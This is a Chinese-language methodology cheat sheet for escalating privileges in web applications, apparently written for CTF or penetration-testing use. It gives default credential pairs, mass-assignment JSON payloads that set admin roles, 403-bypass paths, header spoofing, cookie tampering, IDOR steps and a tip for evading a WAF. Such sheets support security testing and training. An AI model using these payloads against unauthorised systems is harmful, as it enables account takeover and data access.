wgpsec/privilege-escalation-web

Web 权限提升方法论

Web 权限提升和系统提权不同——不需要 exploit，只需要找到应用逻辑中的权限检查漏洞。

⛔ 深入参考（必读）

• Mass Assignment 字段清单、HTTP Header 篡改、Cookie 篡改 → references/web-privesc-techniques.md

Phase 1: 认证和账户发现

默认凭据（最快路径）

admin:admin, admin:password, admin:123456
root:root, root:toor, test:test, guest:guest

注册功能分析

注册新账户，用代理拦截请求，记录请求格式、发送字段、响应字段（可能暴露隐藏字段名）。 检查 /docs, /swagger, /openapi.json。

Phase 2: Mass Assignment（核心技术）

在注册或更新请求中添加应用未预期的字段（每次只加一个）：

{"username":"test", "password":"pass", "role":"admin"}
{"username":"test", "password":"pass", "is_admin":true}
{"username":"test", "password":"pass", "is_staff":1}

→ 完整字段清单和框架惯例 → references/web-privesc-techniques.md

Phase 3: 管理端点直接访问

GET /admin → 403? → 试 /admin/ (trailing slash) 或 /Admin (大小写)
GET /api/admin/users → 200?

Phase 4: HTTP 方法/Header 篡改 + Cookie 篡改

GET /admin/flag → 403 → 试 POST/PUT/PATCH
Header: X-Original-URL: /admin/flag / X-Forwarded-For: 127.0.0.1
Cookie: role=user → role=admin / admin=0 → admin=1

→ 完整 payload 和 Flask session 伪造 → references/web-privesc-techniques.md

Phase 5: 对象级越权

修改 URL/参数中的 ID 访问他人资源

注意事项

• Mass Assignment 每次只改一个字段——全改可能触发 WAF
• 注册后检查 GET /api/users/me 确认权限是否真的变了
• 结合 IDOR + Mass Assignment 效果更好